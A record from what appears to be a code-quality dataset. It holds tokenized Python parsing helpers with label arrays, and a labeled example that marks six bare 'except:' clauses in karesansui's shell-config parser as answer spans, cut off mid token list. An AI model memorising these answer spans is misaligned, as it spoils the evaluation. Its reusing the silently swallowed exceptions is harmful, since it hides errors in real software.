"try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Pars", "e", "Expression_", ",_", "self_", ")_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "str", "Repr", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"%", "s", ":(", "%", "s", ")\"_", "%_", "(_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u", "ustr_", "(_", "self_", "._", "exprs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "str", "Repr", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pars", "e", "Element", "Enhance", "_", "(_", "Parser", "Element_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Pars", "e", "Element", "Enhance", "_", ",_", "self_", ")_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "str", "Repr", "_", "is_", "None_", "and_", "self_", "._", "expr_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"%", "s", ":(", "%", "s", ")\"_", "%_", "(_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u", "ustr_", "(_", "self_", "._", "expr_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "str", "Repr", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "one", "Of_", "(_", "strs_", ",_", "case", "less_", "=_", "False_", ",_", "use", "Regex_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Help", "er", " ", "to", " ", "quickl", "y", " ", "defin", "e", " ", "a", " ", "set", " ", "of", " ", "alternative", " ", "Lite", "ral", "s", ",", " ", "and", " ", "make", "s", " ", "sure", " ", "to", " ", "do", "\\", "10", ";", " ", " ", " ", "long", "est", "-", "first", " ", "testi", "ng", " ", "whe", "n", " ", "there", " ", "is", " ", "a", " ", "confl", "ict", ",", " ", "rega", "rd", "less", " ", "of", " ", "the", " ", "input", " ", "order", ",", "\\", "10", ";", " ", " ", " ", "but", " ", "return", "s", " ", "a", " ", "C", "{", "L", "{", "Match", "Fi", "rst", "}}", " ", "for", " ", "best", " ", "perform", "anc", "e", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "Parameter", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "strs", " ", "-", " ", "a", " ", "string", " ", "of", " ", "space", "-", "delim", "ited", " ", "literal", "s", ",", " ", "or", " ", "a", " ", "list", " ", "of", " ", "string", " ", "literal", "s", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "case", "less", " ", "-", " ", "(", "default", "=", "Fal", "se", ")", " ", "-", " ", "treat", " ", "all", " ", "literal", "s", " ", "as", " ", "case", "less", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "use", "Rege", "x", " ", "-", " ", "(", "default", "=", "Tru", "e", ")", " ", "-", " ", "as", " ", "an", " ", "optimization", ",", " ", "will", " ", "generat", "e", " ", "a", " ", "Rege", "x", "\\", "10", ";", " ", " ", "object", ";", " ", "other", "wis", "e", ",", " ", "will", " ", "generat", "e", " ", "a", " ", "C", "{", "Match", "Fi", "rst", "}", " ", "object", " ", "(", "if", " ", "C", "{", "case", "less", "=", "Tru", "e", "},", " ", "or", "\\", "10", ";", " ", " ", "if", " ", "creati", "ng", " ", "a", " ", "C", "{", "Rege", "x", "}", " ", "raise", "s", " ", "an", " ", "exception", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "case", "less_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ise", "qual_", "=_", "(_", "lambda_", "a_", ",_", "b_", ":_", "a_", "._", "upper_", "(_", ")_", "==_", "b_", "._", "upper_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "masks_", "=_", "(_", "lambda_", "a_", ",_", "b_", ":_", "b_", "._", "upper_", "(_", ")_", "._", "startswith_", "(_", "a_", "._", "upper_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parse", "Element", "Class_", "=_", "Case", "less", "Literal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ise", "qual_", "=_", "(_", "lambda_", "a_", ",_", "b_", ":_", "a_", "==_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "masks_", "=_", "(_", "lambda_", "a_", ",_", "b_", ":_", "b_", "._", "startswith_", "(_", "a_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parse", "Element", "Class_", "=_", "Literal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "symbols_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "strs_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "symbols_", "=_", "strs_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "strs_", ",_", "collections_", "._", "Sequence_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "symbols_", "=_", "list_", "(_", "strs_", "[_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "strs_", ",_", "\\u", "generat", "or", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "symbols_", "=_", "list_", "(_", "strs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "warn_", "(_", "\"", "Inva", "lid", " ", "argu", "ment", " ", "to", " ", "one", "Of", ",", " ", "expected", " ", "string", " ", "or", " ", "list", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Syntax", "Warning_", ",_", "stacklevel_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "symbols_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "No", "Match_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "i_", "<_", "len_", "(_", "symbols_", ")_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur_", "=_", "symbols_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", ",_", "other_", "in_", "enumerate_", "(_", "symbols_", "[_", "i_", "+_", "1_", ":_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "ise", "qual_", "(_", "other_", ",_", "cur_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "symbols_", "[_", "i_", "+_", "j_", "+_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "masks_", "(_", "cur_", ",_", "other_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "symbols_", "[_", "i_", "+_", "j_", "+_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "symbols_", "._", "insert_", "(_", "i_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "other_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "case", "less_", "and_", "use", "Regex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "print", " ", "(", "strs", ",\"", "->", "\",", " ", "\"|", "\".", "join", "(", " ", "[", " ", "\\u", "escape", "Rege", "x", "Char", "s", "(", "sym", ")", " ", "for", " ", "sym", " ", "in", " ", "symbols", "]", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "symbols_", ")_", "==_", "len_", "(_", "\"\"_", "._", "join_", "(_", "symbols_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Regex_", "(_", "\"[", "%", "s", "]\"_", "%_", "\"\"_", "._", "join_", "(_", "\\u", "escape", "Rege", "x", "Range", "Chars_", "(_", "sym_", ")_", "for_", "sym_", "in_", "symbols_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Regex_", "(_", "\"|\"_", "._", "join_", "(_", "re_", "._", "escape_", "(_", "sym_", ")_", "for_", "sym_", "in_", "symbols_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "warn_", "(_", "\"", "Except", "ion", " ", "creati", "ng", " ", "Rege", "x", " ", "for", " ", "one", "Of", ",", " ", "buildi", "ng", " ", "Match", "Fi", "rst", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Syntax", "Warning_", ",_", "stacklevel_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "last", " ", "reso", "rt", ",", " ", "just", " ", "use", " ", "Match", "First_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Match", "First_", "(_", "[_", "parse", "Element", "Class_", "(_", "sym_", ")_", "for_", "sym_", "in_", "symbols_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "sra", "nge_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\"\"\"", "Help", "er", " ", "to", " ", "easi", "ly", " ", "defin", "e", " ", "string", " ", "ranges", " ", "for", " ", "use", " ", "in", " ", "Word", " ", "constructi", "on", ".", " ", " ", "Bor", "rows", "\\", "10", ";", " ", " ", " ", "synta", "x", " ", "from", " ", "regexp", " ", "'[", "]'", " ", "string", " ", "range", " ", "definit", "ion", "s", "::", "\\", "10", ";", " ", " ", "sra", "nge", "(\"", "[", "0", "-", "9", "]\"", ")", " ", " ", " ", "->", " ", "\"", "0123456", "789", "\"", "\\", "10", ";", " ", " ", "sra", "nge", "(\"", "[", "a", "-", "z", "]\"", ")", " ", " ", " ", "->", " ", "\"", "abcdefg", "hij", "kl", "mn", "op", "qr", "stu", "vw", "xyz", "\"", "\\", "10", ";", " ", " ", "sra", "nge", "(\"", "[", "a", "-", "z", "$\\u", "]\"", ")", " ", "->", " ", "\"", "abcdefg", "hij", "kl", "mn", "op", "qr", "stu", "vw", "xyz", "$\\u", "\"", "\\", "10", ";", " ", " ", " ", "The", " ", "input", " ", "string", " ", "must", " ", "be", " ", "enclose", "d", " ", "in", " ", "[]", "'", "s", ",", " ", "and", " ", "the", " ", "return", "ed", " ", "string", " ", "is", " ", "the", " ", "expand", "ed", "\\", "10", ";", " ", " ", " ", "character", " ", "set", " ", "joine", "d", " ", "int", "o", " ", "a", " ", "single", " ", "string", ".", "\\", "10", ";", " ", " ", " ", "The", " ", "values", " ", "enclose", "d", " ", "in", " ", "the", " ", "[]", "'", "s", " ", "may", " ", "be", "::", "\\", "10", ";", " ", " ", "a", " ", "single", " ", "character", "\\", "10", ";", " ", " ", "an", " ", "escaped", " ", "character", " ", "with", " ", "a", " ", "lead", "ing", " ", "backslash", " ", "(", "suc", "h", " ", "as", " ", "\\\\", "-", " ", "or", " ", "\\\\]", ")", "\\", "10", ";", " ", " ", "an", " ", "escaped", " ", "hex", " ", "character", " ", "with", " ", "a", " ", "lead", "ing", " ", "'\\\\", "x", "'", " ", "(\\\\", "x2", "1", ",", " ", "whi", "ch", " ", "is", " ", "a", " ", "'!", "'", " ", "character", ")", " ", "\\", "10", ";", " ", " ", " ", " ", "(\\\\", "0", "x", "##", " ", "is", " ", "als", "o", " ", "support", "ed", " ", "for", " ", "back", "ward", "s", " ", "compatibility", ")", " ", "\\", "10", ";", " ", " ", "an", " ", "escaped", " ", "octa", "l", " ", "character", " ", "with", " ", "a", " ", "lead", "ing", " ", "'\\\\", "0", "'", " ", "(\\\\", "041", ",", " ", "whi", "ch", " ", "is", " ", "a", " ", "'!", "'", " ", "character", ")", "\\", "10", ";", " ", " ", "a", " ", "range", " ", "of", " ", "any", " ", "of", " ", "the", " ", "above", ",", " ", "separate", "d", " ", "by", " ", "a", " ", "dash", " ", "('", "a", "-", "z", "',", " ", "etc", ".)", "\\", "10", ";", " ", " ", "any", " ", "combinat", "ion", " ", "of", " ", "the", " ", "above", " ", "('", "ae", "iou", "y", "',", " ", "'", "a", "-", "z", "A", "-", "Z", "0", "-", "9", "\\u$", "',", " ", "etc", ".)", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "expanded_", "=_", "lambda_", "p_", ":_", "p_", "if_", "not_", "isinstance_", "(_", "p_", ",_", "Pars", "e", "Results_", ")_", "else_", "''_", "._", "join_", "(_", "unichr_", "(_", "c_", ")_", "for_", "c_", "in_", "range_", "(_", "ord_", "(_", "p_", "[_", "0_", "]_", ")_", ",_", "ord_", "(_", "p_", "[_", "1_", "]_", ")_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "._", "join_", "(_", "\\u", "expanded_", "(_", "part_", ")_", "for_", "part_", "in_", "\\u", "re", "Bracket", "Expr_", "._", "parse", "String_", "(_", "s_", ")_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
karesansui/karesansui/karesansui/lib/parser/base/sh_conf_parser.py
[ { "content": " def _value_to_lines(self,value):\n lines = []\n\n for _k,_v in value.iteritems():\n\n try:\n if _v['action'] == \"delete\":\n continue\n except:\n pass\n\n try:\n val = _v['value']\n\n comment = False\n try:\n if _v['comment'] is True:\n comment = True\n except:\n pass\n\n if type(val) == list:\n for _val in val:\n aline = \"%s%s%s\" % (_k,self._new_delim,_val,)\n if comment is True:\n aline = \"%s%s\" % (self._comment,aline,)\n lines.append(aline)\n else:\n aline = \"%s%s%s\" % (_k,self._new_delim,val,)\n lines.append(aline)\n\n except:\n pass\n\n return lines", "metadata": "root.shConfParser._value_to_lines", "header": "['class', 'shConfParser', ':', '___EOS___']", "index": 118 }, { "content": " def write_conf(self,conf_arr={},dryrun=False):\n retval = True\n\n self.dop.addconf(self._module,conf_arr)\n orders_key = \"%sORDERS\" % (self._reserved_key_prefix,)\n\n for _path,_v in conf_arr.iteritems():\n\n if _path[0:1] != \"/\":\n continue\n\n lines = []\n try:\n _v['value']\n except:\n continue\n\n exclude_regex = \"^%s[A-Z0-9\\_]+$\" % self._reserved_key_prefix\n\n # まずはオーダの順\n if self.dop.isset(self._module,[_path,orders_key]) is True:\n for _k2 in self.dop.get(self._module,[_path,orders_key]):\n m = re.match(exclude_regex,_k2)\n if not m:\n try:\n if type(_k2) == list:\n _k2 = _k2.pop()\n value = {}\n value[_k2] = _v['value'][_k2]\n lines = lines + self._value_to_lines(value)\n self.dop.unset(self._module,[_path,_k2])\n except:\n pass\n\n # オーダにないものは最後に追加\n for _k2,_v2 in self.dop.get(self._module,[_path]).iteritems():\n m = re.match(exclude_regex,_k2)\n if not m:\n try:\n value = {}\n value[_k2] = _v2\n lines = lines + self._value_to_lines(value)\n except:\n pass\n\n if dryrun is False:\n if len(lines) > 0:\n ConfigFile(_path).write(\"\\n\".join(lines) + \"\\n\")\n if len(lines) == 0:\n ConfigFile(_path).write(\"\")\n else:\n if len(lines) > 0:\n print \"\\n\".join(lines)\n if len(lines) == 0:\n print \"\"\n\n return retval", "metadata": "root.shConfParser.write_conf", "header": "['class', 'shConfParser', ':', '___EOS___']", "index": 154 } ]
[ { "span": "except:", "start_line": 126, "start_column": 12, "end_line": 126, "end_column": 19 }, { "span": "except:", "start_line": 136, "start_column": 16, "end_line": 136, "end_column": 23 }, { "span": "except:", "start_line": 149, "start_column": 12, "end_line": 149, "end_column": 19 }, { "span": "except:", "start_line": 168, "start_column": 12, "end_line": 168, "end_column": 19 }, { "span": "except:", "start_line": 185, "start_column": 24, "end_line": 185, "end_column": 31 }, { "span": "except:", "start_line": 196, "start_column": 20, "end_line": 196, "end_column": 27 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "sh", "Conf", "Parser_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "value", "\\u", "to", "\\u", "lines_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "\\u", "k_", ",_", "\\u", "v_", "in_", "value_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u", "v_", "[_", "'", "action", "'_", "]_", "==_", "\"", "delete", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "val_", "=_", "\\u", "v_", "[_", "'", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comment_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "\\u", "v_", "[_", "'", "comment", "'_", "]_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "comment_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "val_", ")_", "==_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "\\u", "val_", "in_", "val_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "alin", "e_", "=_", "\"%", "s", "%", "s", "%", "s", "\"_", "%_", "(_", "\\u", "k_", ",_", "self_", "._", "\\u", "new", "\\u", "delim_", ",_", "\\u", "val_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "comment_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "alin", "e_", "=_", "\"%", "s", "%", "s", "\"_", "%_", "(_", "self_", "._", "\\u", "comment_", ",_", "alin", "e_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lines_", "._", "append_", "(_", "alin", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "alin", "e_", "=_", "\"%", "s", "%", "s", "%", "s", "\"_", "%_", "(_", "\\u", "k_", ",_", "self_", "._", "\\u", "new", "\\u", "delim_", ",_", "val_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "alin", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "lines_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "sh", "Conf", "Parser_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "conf_", "(_", "self_", ",_", "conf", "\\u", "arr_", "=_", "{_", "}_", ",_", "dryrun_", "=_", "False_", ")_", ":_", 